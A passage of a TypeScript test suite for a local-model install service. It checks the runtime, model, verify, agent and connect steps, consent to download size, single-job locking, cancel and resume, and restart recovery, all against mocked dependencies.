+ runtimeDir: '/data/local-model/runtime/ollama-0.40.15', + binary: '/data/local-model/runtime/ollama-0.40.15/ollama', + archivePartial: '/data/local-model/runtime/ollama-0.40.15.tgz.partial', + unpackDir: '/data/local-model/runtime/ollama-0.40.15.unpack', + modelsDir: '/data/local-model/models', + homeDir: '/data/local-model/home', + stateFile: '/data/local-model.json', +}; + +const INSTALLED: LocalModelStateFile = { + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, pullBytes: PULL_BYTES, digest: DIGEST }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: MEASURED }, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, +}; + +function jobAt(step: LocalModelInstallStep, state: 'installing' | 'paused' = 'installing'): LocalModelStateFile { + return { + schema: 1, + state, + step, + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + ...(step === 'runtime' ? {} : { runtime: { version: '0.40.15', port: 11435, pid: 5000, enabled: true } }), + }; +} + +// ---------- The harness ---------- + +/** The state file in memory. Every write goes through the real parser, like a write to disk and a read back. */ +function memoryStore(initial: LocalModelStateFile = IDLE_LOCAL_MODEL_STATE) { + let state = initial; + let chain: Promise<unknown> = Promise.resolve(); + const history: LocalModelStateFile[] = []; + return { + get: () => state, + history, + readState: async () => state, + mutateState: (fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined) => { + const run = chain.then(async () => { + const before = state; + const next = fn(before); + if (!next) return { before, after: undefined }; + state = parseLocalModelState(JSON.stringify(next)); + history.push(state); + return { before, after: state }; + }); + chain = run.catch(() => {}); + return run; + }, + }; +} + +/** Resolves when `signal` aborts. What a step in flight waits on in a Cancel test. */ +function untilAborted(signal?: AbortSignal): Promise<void> { + return new Promise((resolve) => { + if (!signal || signal.aborted) return resolve(); + signal.addEventListener('abort', () => resolve(), { once: true }); + }); +} + +function setup( + options: { + state?: LocalModelStateFile; + agentInstalled?: boolean; + runtimeOnDisk?: boolean; + overrides?: Partial<LocalModelServiceDeps>; + } = {} +) { + const store = memoryStore(options.state); + const world = { + agentInstalled: options.agentInstalled ?? false, + runtimeOnDisk: options.runtimeOnDisk ?? false, + clock: 1_000_000, + startResult: undefined as RuntimeStartResult | undefined, + measured: MEASURED as number | undefined, + running: false, + gaveUp: false, + pid: 5000, + }; + const calls: string[] = []; + + const supervisor = { + start: vi.fn(async (start: RuntimeStartOptions): Promise<RuntimeStartResult> => { + calls.push('supervisor.start'); + if (world.startResult && !world.startResult.ok) { + world.running = false; + return world.startResult; + } + world.running = true; + return { + ok: true, + pid: world.pid, + port: start.port, + orphan: 'none', + ...(world.measured !== undefined ? { measuredTotalBytes: world.measured } : {}), + }; + }), + stop: vi.fn(async () => { + calls.push('supervisor.stop'); + world.running = false; + }), + status: (): RuntimeStatus => ({ running: world.running, restarts: 0, gaveUp: world.gaveUp }), + }; + + const deps = { + readHardware: vi.fn(async () => MAC), + getCatalog: vi.fn(() => CATALOG), + buildHarnessFacts: vi.fn(async () => FACTS), + recommend: vi.fn(() => recommendation(world.agentInstalled)), + modelFitsBudget: vi.fn(() => true), + isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk), + ensureRuntimeInstalled: vi.fn( + async (install?: { onProgress?: (p: { completedBytes: number; totalBytes: number }) => void }) => { + calls.push('ensureRuntimeInstalled'); + install?.onProgress?.({ completedBytes: RUNTIME_BYTES, totalBytes: RUNTIME_BYTES }); + world.runtimeOnDisk = true; + return { ok: true as const, binaryPath: PATHS.binary, alreadyInstalled: false }; + } + ), + chooseRuntimePort: vi.fn(async () => 11435 as number | undefined), + removeLocalModelFiles: vi.fn(async () => { + calls.push('removeLocalModelFiles'); + world.runtimeOnDisk = false; + }), + supervisor, + pullModel: vi.fn(async (_target: unknown, _id: string, pull?: { onProgress?: (p: unknown) => void }) => { + calls.push('pullModel'); + pull?.onProgress?.({ completedBytes: PULL_BYTES, totalBytes: PULL_BYTES, bytesPerSecond: 58_000_000 }); + return { ok: true as const, totalBytes: PULL_BYTES }; + }), + verifyModel: vi.fn(async () => { + calls.push('verifyModel'); + return { + ok: true as const, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + }; + }), + readModelDigest: vi.fn(async () => DIGEST as string | undefined), + // The runtime lists what was pulled: the model of the job. + listOpenAiModels: vi.fn(async () => [store.get().model?.id ?? '']), + listRunning: vi.fn(async () => [ + { name: 'qwen3.6:35b-a3b', size: 26_300_000_000, sizeVram: 26_300_000_000, contextLength: 32768 }, + ]), + getRuntimeVersion: vi.fn(async () => '0.40.15' as string | undefined), + deleteModel: vi.fn(async () => { + calls.push('deleteModel'); + return true; + }), + checkDeveloperTools: vi.fn(async () => 'missing' as const), + stockInstallCommand: vi.fn((id: string) => (id === FACTS[0].cli ? INSTALL_COMMAND : undefined)), + tryBeginCliInstall: vi.fn((): (() => void) | null => () => { + calls.push('release'); + }), + runInstallCommand: vi.fn(async () => { + calls.push('runInstallCommand'); + world.agentInstalled = true; + return { code: 0 as number | null, output: 'opencode installed\n', timedOut: false, aborted: false }; + }), + recheckCliInstalled: vi.fn(async () => { + calls.push('recheckCliInstalled'); + return world.agentInstalled; + }), + audit: vi.fn(async () => {}), + connectLocalModel: vi.fn(async () => { + calls.push('connectLocalModel'); + return { ok: true as const, flagWasEnabled: false }; + }), + moveLocalEndpoint: vi.fn(async () => {}), + ensureLocalEndpoint: vi.fn(async () => false), + disconnectLocalModel: vi.fn(async () => { + calls.push('disconnectLocalModel'); + }), + isEndpointIdTaken: vi.fn(async () => false), + readState: store.readState, + mutateState: store.mutateState, + pin: OLLAMA_RUNTIME_PIN, + paths: PATHS, + now: () => world.clock, + ...options.overrides, + }; + + const service = createLocalModelService(deps as unknown as Partial<LocalModelServiceDeps>); + return { service, store, world, deps, supervisor, calls }; +} + +/** Starts the job and waits for its end. */ +async function installAndWait(service: LocalModelService, request = REQUEST) { + const result = await service.install(request, ADMIN); + await service.idle(); + return result; +} + +afterEach(() => { + vi.restoreAllMocks(); +}); + +// ---------- The whole job ---------- + +describe('a job from the click to installed', () => { + it('runs the five steps in order and ends installed, with every fact a later start needs', async () => { + const { service, store, calls, deps } = setup(); + const started = await service.install(REQUEST, ADMIN); + // The verb answers once the job is started: the work goes on in the server. + expect(started.ok && started.view.state).toBe('installing'); + await service.idle(); + + expect(calls).toEqual([ + 'ensureRuntimeInstalled', + 'supervisor.start', + 'supervisor.start', + 'pullModel', + 'supervisor.start', + 'verifyModel', + 'recheckCliInstalled', + 'runInstallCommand', + 'release', + 'recheckCliInstalled', + 'supervisor.start', + 'connectLocalModel', + ]); + expect(store.get()).toMatchObject({ + schema: 1, + state: 'installed', + model: { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + pullBytes: PULL_BYTES, + digest: DIGEST, + }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, pid: 5000, enabled: true, measuredTotalBytes: MEASURED }, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }); + // A job's own members are gone once it is installed. + for (const key of ['step', 'steps', 'progress', 'error']) expect(store.get()).not.toHaveProperty(key); + + // The runtime was started on the chosen port with the chosen context, every time. + for (const [start] of deps.supervisor.start.mock.calls) { + expect(start).toMatchObject({ port: 11435, contextLength: 131072 }); + } + // The connection names the model as the runtime lists it, at the chosen context. + expect(deps.connectLocalModel).toHaveBeenCalledWith({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + ours: false, + }); + }); + + it('walks the steps one at a time in the state file', async () => { + const { service, store } = setup(); + await installAndWait(service); + const steps = store.history.map((state) => `${state.state}:${state.step ?? '-'}`); + const order = steps.filter((entry, index) => entry !== steps[index - 1]); + expect(order).toEqual([ + 'installing:runtime', + 'installing:model', + 'installing:verify', + 'installing:agent', + 'installing:connect', + 'installed:-', + ]); + }); + + it('the view of the installed model: the Done facts, the endpoint, and a session can be started', async () => { + const { service } = setup(); + await installAndWait(service); + const view = await service.view(); + expect(view).toMatchObject({ + state: 'installed', + running: true, + developerTools: 'missing', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: 131072, + port: 11435, + loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true }, + endpointId: 'local-ollama', + actions: ['start-session', 'stop', 'remove'], + folder: '/data/local-model', + runtime: { version: '0.40.15', installed: true, downloadBytes: 0 }, + }); + expect(view).not.toHaveProperty('error'); + expect(await service.launchRefusal('local-ollama')).toBeUndefined(); + }); + + it('a coding agent that is installed is not part of the job: nothing is run for it', async () => { + const { service, store, deps } = setup({ agentInstalled: true }); + await installAndWait(service); + expect(store.get().state).toBe('installed'); + expect(store.history.some((state) => state.step === 'agent')).toBe(false); + expect(deps.runInstallCommand).not.toHaveBeenCalled(); + expect(deps.recheckCliInstalled).not.toHaveBeenCalled(); + }); + + it('judges the model against the MEASURED budget right after the runtime started, before the pull', async () => { + const { service, deps, calls } = setup(); + await installAndWait(service); + expect(deps.modelFitsBudget).toHaveBeenCalledTimes(1); + expect(deps.modelFitsBudget).toHaveBeenCalledWith(MAC, CATALOG, 'qwen3.6:35b-a3b', 131072, { + measuredTotalBytes: MEASURED, + runtimeDownloadBytes: 0, + }); + expect(deps.modelFitsBudget.mock.invocationCallOrder[0]).toBeLessThan(deps.pullModel.mock.invocationCallOrder[0]); + expect(calls.indexOf('pullModel')).toBeGreaterThan(0); + }); + + it('from then on the GET recommends with the measured budget and no runtime download', async () => { + const { service } = setup(); + expect(await service.recommendOptions()).toEqual({ runtimeDownloadBytes: RUNTIME_BYTES }); + await installAndWait(service); + expect(await service.recommendOptions()).toEqual({ measuredTotalBytes: MEASURED, runtimeDownloadBytes: 0 }); + }); + + it('every size shown for the model comes from the pull once it is known', async () => { + const pull = vi.fn(async () => ({ ok: true as const, totalBytes: 23_999_000_111 })); + const { service, store } = setup({ overrides: { pullModel: pull } }); + await installAndWait(service); + expect(store.get().model?.pullBytes).toBe(23_999_000_111); + }); + + it('writes an audit line for the install and one for the coding agent, with the literal command', async () => { + const { service, deps } = setup(); + await installAndWait(service); + expect(deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'local_model_install', + target: 'qwen3.6:35b-a3b', + ip: '127.0.0.1', + detail: { cli: 'opencode', context: 131072, bytes: PULL_BYTES + RUNTIME_BYTES }, + }); + expect(deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'cli_install', + target: 'opencode', + ip: '127.0.0.1', + detail: { command: INSTALL_COMMAND, exitCode: 0, timedOut: false, aborted: false, via: 'local-model' }, + }); + }); + + it('the port is chosen once: a job that already has one keeps it', async () => { + const { service, deps, store } = setup({ + state: { ...jobAt('runtime', 'paused'), runtime: { version: '0.40.15', port: 11440, enabled: true } }, + }); + await service.resume({}, ADMIN); + await service.idle(); + expect(deps.chooseRuntimePort).not.toHaveBeenCalled(); + expect(store.get().runtime?.port).toBe(11440); + expect(deps.connectLocalModel).toHaveBeenCalledWith(expect.objectContaining({ port: 11440 })); + }); +}); + +// ---------- What install checks first ---------- + +describe('install is checked before anything is downloaded', () => { + const nothingStarted = (h: ReturnType<typeof setup>) => { + expect(h.store.get()).toBe(IDLE_LOCAL_MODEL_STATE); + expect(h.deps.ensureRuntimeInstalled).not.toHaveBeenCalled(); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + expect(h.deps.audit).not.toHaveBeenCalled(); + }; + + it('consent is bound to the size shown: other bytes are 409 size-changed with the total', async () => { + const h = setup(); + const result = await h.service.install({ ...REQUEST, acknowledgedBytes: PULL_BYTES }, ADMIN); + expect(result).toEqual({ + ok: false, + status: 409, + conflict: { + reason: 'size-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } }, + expectedBytes: PULL_BYTES + RUNTIME_BYTES, + expectedGb: '23.3', + }, + }); + nothingStarted(h); + }); + + it('once the runtime is on disk the total is the model alone, so the earlier figure is refused', async () => { + const h = setup({ runtimeOnDisk: true }); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + for (const row of [rec.pick!, ...rec.alternatives]) row.installBytes = row.downloadBytes; + return rec; + }); + const stale = await h.service.install(REQUEST, ADMIN); + expect(stale).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'size-changed', expectedBytes: PULL_BYTES }, + }); + nothingStarted(h); + const fresh = await h.service.install({ ...REQUEST, acknowledgedBytes: PULL_BYTES }, ADMIN); + expect(fresh.ok).toBe(true); + await h.service.idle(); + }); + + it('a row without its own total is the model download plus the runtime download', async () => { + const h = setup(); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + delete (rec.pick as Partial<Candidate>).installBytes; + delete (rec.pick as Partial<Candidate>).harnesses; + return rec; + }); + const wrong = await h.service.install({ ...REQUEST, acknowledgedBytes: PULL_BYTES }, ADMIN); + expect(wrong).toMatchObject({ ok: false, status: 409, conflict: { expectedBytes: PULL_BYTES + RUNTIME_BYTES } }); + const right = await h.service.install(REQUEST, ADMIN); + expect(right.ok).toBe(true); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + }); + + it.each([ + ['a model the server does not offer', { modelId: 'llama9:900b' }], + ['an offered model at another context', { context: 65536 }], + ['a coding agent the row does not list', { cli: 'claude' }], + ['a coding agent that is no CLI at all', { cli: 'rm' }], + ])('%s is a 400', async (_label, change) => { + const h = setup(); + const result = await h.service.install({ ...REQUEST, ...change }, ADMIN); + expect(result).toMatchObject({ ok: false, status: 400 }); + nothingStarted(h); + }); + + it('a coding agent the row lists but the catalogue does not have is a 400', async () => { + const h = setup(); + h.deps.getCatalog.mockReturnValue({ ...CATALOG, harnesses: [] } as unknown as LocalModelCatalog); + expect(await h.service.install(REQUEST, ADMIN)).toMatchObject({ ok: false, status: 400 }); + nothingStarted(h); + }); + + it('a missing coding agent without a stock install command is a 400', async () => { + const h = setup(); + h.deps.stockInstallCommand.mockReturnValue(undefined); + const result = await h.service.install(REQUEST, ADMIN); + expect(result).toEqual({ + ok: false, + status: 400, + message: 'OpenCode is not installed and cannot be installed from here.', + }); + nothingStarted(h); + }); + + it('a saved endpoint that already has our id is said now, not after the download', async () => { + const h = setup(); + h.deps.isEndpointIdTaken.mockResolvedValue(true); + const result = await h.service.install(REQUEST, ADMIN); + expect(result).toEqual({ + ok: false, + status: 400, + message: + 'A saved model connection named local-ollama already exists and was not created here. Rename or delete it in App Settings, then try again.', + }); + nothingStarted(h); + }); + + it('when no model is recommended nothing can be installed', async () => { + const h = setup(); + h.deps.recommend.mockReturnValue({ + verdict: 'none', + reason: 'not-macos', + headline: { text: 'x' }, + notes: [], + alternatives: [], + budgetBytes: 0, + budgetGb: '0.0', + budgetSource: 'estimated', + } as unknown as Recommendation); + expect(await h.service.install(REQUEST, ADMIN)).toMatchObject({ ok: false, status: 400 }); + nothingStarted(h); + }); + + it('an alternative row installs like the pick', async () => { + const h = setup(); + const result = await installAndWait(h.service, { + modelId: 'gpt-oss:20b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: 13_793_441_427 + RUNTIME_BYTES, + }); + expect(result.ok).toBe(true); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' } }); + }); +}); + +// ---------- One job at a time ---------- + +describe('one job at a time', () => { + it('while a job runs, a second install, a resume, a runtime action and a remove are 409 job-running', async () => { + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: { signal?: AbortSignal }) => { + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe('model')); + + const jobRunning = { ok: false, status: 409, conflict: { reason: 'job-running' } }; + expect(await h.service.install(REQUEST, ADMIN)).toMatchObject(jobRunning); + expect(await h.service.resume({}, ADMIN)).toMatchObject(jobRunning); + expect(await h.service.runtime({ action: 'stop' })).toMatchObject(jobRunning); + expect(await h.service.remove({}, [])).toMatchObject(jobRunning); + expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalledTimes(1); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect(h.deps.removeLocalModelFiles).not.toHaveBeenCalled(); + + await h.service.cancel(); + }); + + it('two installs sent at the same moment: one starts, the other is refused', async () => { + const h = setup(); + const [first, second] = await Promise.all([h.service.install(REQUEST, ADMIN), h.service.install(REQUEST, ADMIN)]); + expect(first.ok).toBe(true); + // The second finds the first's job running, or (it ran to its end already) a model installed. + expect(second).toMatchObject({ ok: false, status: 409 }); + await h.service.idle(); + expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalledTimes(1); + }); + + it('install while a model is installed is 409 already-installed: remove it first', async () => { + const h = setup({ state: INSTALLED }); + expect(await h.service.install(REQUEST, ADMIN)).toEqual({ + ok: false, + status: 409, + conflict: { reason: 'already-installed', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictAlreadyInstalled } }, + }); + }); + + it.each([ + ['cancel with no job', (s: LocalModelService) => s.cancel(), IDLE_LOCAL_MODEL_STATE], + ['cancel while paused', (s: LocalModelService) => s.cancel(), jobAt('model', 'paused')], + ['cancel while installed', (s: LocalModelService) => s.cancel(), INSTALLED], + ['resume with no job', (s: LocalModelService) => s.resume({}, ADMIN), IDLE_LOCAL_MODEL_STATE], + ['resume while installed', (s: LocalModelService) => s.resume({}, ADMIN), INSTALLED], + [ + 'a runtime action with nothing installed', + (s: LocalModelService) => s.runtime({ action: 'start' }), + IDLE_LOCAL_MODEL_STATE, + ], + [ + 'a runtime action on a paused job', + (s: LocalModelService) => s.runtime({ action: 'stop' }), + jobAt('model', 'paused'), + ], + ])('%s is 409 wrong-state and changes nothing', async (_label, verb, state) => { + const h = setup({ state }); + expect(await verb(h.service)).toEqual({ + ok: false, + status: 409, + conflict: { reason: 'wrong-state', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictWrongState } }, + }); + expect(h.store.history).toEqual([]); + }); +}); + +// ---------- Cancel ---------- + +describe('Cancel in every step', () => { + /** A fake that waits for the abort signal at position `at` of its arguments' options, then says cancelled. */ + const blocked: Record<Exclude<LocalModelInstallStep, 'connect'>, Partial<LocalModelServiceDeps>> = { + runtime: { + ensureRuntimeInstalled: vi.fn(async (install?: { signal?: AbortSignal }) => { + await untilAborted(install?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + model: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: { signal?: AbortSignal }) => { + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + verify: { + verifyModel: vi.fn(async (_t: unknown, _id: string, _ctx: number, signal?: AbortSignal) => { + await untilAborted(signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + agent: { + runInstallCommand: vi.fn(async (_command: string, run?: { signal?: AbortSignal }) => { + await untilAborted(run?.signal); + return { code: null, output: '', timedOut: false, aborted: true }; + }), + }, + } as unknown as Record<Exclude<LocalModelInstallStep, 'connect'>, Partial<LocalModelServiceDeps>>; + + it.each(['runtime', 'model', 'verify', 'agent'] as const)( + 'in the %s step: the step in flight is interrupted and the job is paused there', + async (step) => { + const h = setup({ overrides: blocked[step] }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe(step)); + await vi.waitFor(() => expect(Object.values(blocked[step])[0]).toHaveBeenCalled()); + + const result = await h.service.cancel(); + expect(result.ok && result.view).toMatchObject({ + state: 'paused', + step, + actions: ['resume', 'install', 'remove'], + }); + expect(h.store.get()).toMatchObject({ state: 'paused', step }); + // Paused is not failed: no error was stored, and nothing went on after the step. + expect(h.store.get()).not.toHaveProperty('error'); + expect(h.store.history.some((state) => state.state === 'failed')).toBe(false); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + await h.service.idle(); + expect(h.store.get().state).toBe('paused'); + } + ); + + it('an interrupted step that answers with an error instead of "cancelled" is still a pause, not a failure', async () => { + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: { signal?: AbortSignal }) => { + await untilAborted(pull?.signal); + return { ok: false as const, code: 'pull-failed' as const, detail: 'socket hang up' }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe('model')); + await vi.waitFor(() => expect(h.deps.pullModel).toHaveBeenCalled()); + await h.service.cancel(); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'model' }); + expect(h.store.get()).not.toHaveProperty('error'); + }); + + it('in the connect step, before the first write: honoured, and nothing was written', async () => { + const h = setup({ + overrides: { + listOpenAiModels: vi.fn(async (_t: unknown, signal?: AbortSignal) => { + await untilAborted(signal); + return ['qwen3.6:35b-a3b']; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.listOpenAiModels).toHaveBeenCalled()); + const result = await h.service.cancel(); + expect(result.ok && result.view.state).toBe('paused'); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'connect' }); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + expect(h.store.get()).not.toHaveProperty('connection'); + }); + + it('in the connect step, once the writes began: they finish and the job ends installed', async () => { + let release: () => void = () => {}; + const writing = new Promise<void>((resolve) => (release = resolve)); + const h = setup({ + overrides: { + connectLocalModel: vi.fn(async () => { + await writing; + return { ok: true as const, flagWasEnabled: true }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.connectLocalModel).toHaveBeenCalled()); + const cancelling = h.service.cancel(); + release(); + const result = await cancelling; + // The pair is never left half done: the answer is the view after the verb, installed. + expect(result.ok && result.view.state).toBe('installed'); + expect(h.store.get()).toMatchObject({ + state: 'installed', + connection: { endpointId: 'local-ollama', flagWasEnabled: true }, + }); + }); + + it('keeps the download as it stood, without a speed', async () => { + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: PullOptions) => { + pull?.onProgress?.({ completedBytes: 6_200_000_000, totalBytes: PULL_BYTES, bytesPerSecond: 58_000_000 }); + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(async () => expect((await h.service.view()).progress?.completedBytes).toBe(6_200_000_000)); + // While it runs the window sees the live figure and the speed. + expect((await h.service.view()).progress).toEqual({ + completedBytes: 6_200_000_000, + totalBytes: PULL_BYTES, + completedGb: '6.2', + totalGb: '23.1', + bytesPerSecond: 58_000_000, + mbPerSecond: '58', + secondsLeft: 292, + }); + const result = await h.service.cancel(); + expect(result.ok && result.view.progress).toEqual({ + completedBytes: 6_200_000_000, + totalBytes: PULL_BYTES, + completedGb: '6.2', + totalGb: '23.1', + }); + expect(h.store.get().progress).toEqual({ completedBytes: 6_200_000_000, totalBytes: PULL_BYTES }); + }); + + it('a runtime that already runs keeps running after a Cancel', async () => { + const h = setup({ overrides: blocked.model }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe('model')); + await h.service.cancel(); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect((await h.service.view()).running).toBe(true); + }); +}); + +// ---------- Resume ---------- + +describe('Resume', () => { + it('re-enters the step the job stopped in and does not repeat the steps before it', async () => { + const h = setup({ state: jobAt('verify', 'paused'), runtimeOnDisk: true }); + const result = await h.service.resume({}, ADMIN); + expect(result.ok && result.view.state).toBe('installing'); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(h.deps.ensureRuntimeInstalled).not.toHaveBeenCalled(); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + expect(h.deps.verifyModel).toHaveBeenCalledTimes(1); + // The step needs the runtime: it is started first, with the stored port and the old pid. + expect(h.supervisor.start.mock.calls[0][0]).toEqual({ port: 11435, contextLength: 131072, previousPid: 5000 }); + }); + + it('"Try again" after a failure clears the error and runs the same step again', async () => { + const h = setup(); + h.deps.verifyModel.mockResolvedValueOnce({ + ok: false, + code: 'probe-unfinished', + detail: 'finish_reason length', + } as never); + await installAndWait(h.service); + expect(h.store.get()).toMatchObject({ state: 'failed', step: 'verify', error: { code: 'probe-unfinished' } }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(h.deps.pullModel).toHaveBeenCalledTimes(1); + expect(h.deps.verifyModel).toHaveBeenCalledTimes(2); + }); + + it('a resumed agent step looks for the binary first and runs no installer when it is there', async () => { + const h = setup({ state: jobAt('agent', 'paused'), agentInstalled: true }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(h.deps.recheckCliInstalled).toHaveBeenCalledTimes(1); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.audit).not.toHaveBeenCalled(); + }); + + it('"Use another port" chooses a port that is not the stored one before it resumes', async () => { + const h = setup({ + state: { ...jobAt('model', 'paused'), state: 'failed', error: { code: 'port-in-use', vars: { port: '11435' } } }, + }); + h.deps.chooseRuntimePort.mockResolvedValue(11436); + await h.service.resume({ newPort: true }, ADMIN); + await h.service.idle(); + expect(h.deps.chooseRuntimePort).toHaveBeenCalledWith({ avoid: [11435] }); + expect(h.store.get()).toMatchObject({ state: 'installed', runtime: { port: 11436 } }); + // The pid that was stored belonged to the old port: it is not passed on as "ours". + expect(h.supervisor.start.mock.calls[0][0]).toEqual({ port: 11436, contextLength: 131072 }); + expect(h.deps.connectLocalModel).toHaveBeenCalledWith(expect.objectContaining({ port: 11436 })); + }); +}); + +// ---------- A server restart ---------- + +describe('a job a server restart interrupted', () => { + it('comes back paused at the same step, and nothing runs without a click', async () => { + const h = setup({ state: jobAt('model') }); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] }); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'model' }); + await h.service.idle(); + expect(h.calls).toEqual([]); + }); + + it('boot() does the same, and starts no runtime for a job', async () => { + const h = setup({ state: jobAt('verify') }); + await h.service.boot(); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'verify' }); + expect(h.calls).toEqual([]); + }); + + it.each(['install', 'cancel', 'resume', 'remove'] as const)( + 'a %s sent before anything else finds it paused, not running', + async (verb) => { + const h = setup({ state: jobAt('model') }); + const result = + verb === 'install' + ? await h.service.install(REQUEST, ADMIN) + : verb === 'cancel' + ? await h.service.cancel() + : verb === 'resume' + ? await h.service.resume({}, ADMIN) + : await h.service.remove({}, []); + // A paused job accepts install, resume and remove; Cancel has nothing to cancel. + if (verb === 'cancel') expect(result).toMatchObject({ ok: false, conflict: { reason: 'wrong-state' } }); + else expect(result.ok).toBe(true); + expect(h.store.history[0]).toMatchObject({ state: 'paused', step: 'model' }); + await h.service.idle(); + } + ); + + it('shutdown interrupts the job without a word in the state file, so the next start reads it as paused', async () => { + const pull = vi.fn(async (_t: unknown, _id: string, options?: { signal?: AbortSignal }) => { + await untilAborted(options?.signal); + return { ok: false as const, code: 'pull-failed' as const, detail: 'aborted' }; + }); + const h = setup({ overrides: { pullModel: pull } }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(pull).toHaveBeenCalled()); + + await h.service.shutdown(); + expect(h.supervisor.stop).toHaveBeenCalledTimes(1); + // Neither paused nor failed was written: the file still says installing. + expect(h.store.get()).toMatchObject({ state: 'installing', step: 'model' }); + + // The next server process: a new service over the same file. + const next = setup({ state: h.store.get() }); + expect((await next.service.view()).state).toBe('paused'); + expect(next.calls).toEqual([]); + }); + + it('paused, failed and installed stay what they were across a restart', async () => { + const failed: LocalModelStateFile = { + ...jobAt('verify', 'paused'), + state: 'failed', + error: { code: 'no-tool-call' }, + }; + for (const state of [ + jobAt('model', 'paused'), + failed, + { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } }, + ]) { + const h = setup({ state }); + await h.service.boot(); + expect(h.store.get()).toEqual(state); + expect(h.store.history).toEqual([]); + } + }); +}); + +// ---------- Boot of an installed model ---------- + +describe('boot with a model installed', () => { + it('starts the runtime on the stored port, with the stored pid to tell an orphan of ours, and reads the digest again', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + await h.service.boot(); + expect(h.supervisor.start).toHaveBeenCalledWith({ port: 11435, contextLength: 131072, previousPid: 4711 }); + expect(h.deps.readModelDigest).toHaveBeenCalledWith( + { baseUrl: 'http://127.0.0.1:11435' }, + 'qwen3.6:35b-a3b', + expect.anything() + ); + // The pid of the child that runs now replaces the stored one. + expect(h.store.get().runtime?.pid).toBe(5000); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'installed', running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(view).not.toHaveProperty('error'); + }); + + it('puts the saved endpoint back when it is gone (a config-backup restore), also for a stopped runtime', async () => { + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + h.deps.ensureLocalEndpoint.mockResolvedValue(true); + await h.service.boot(); + 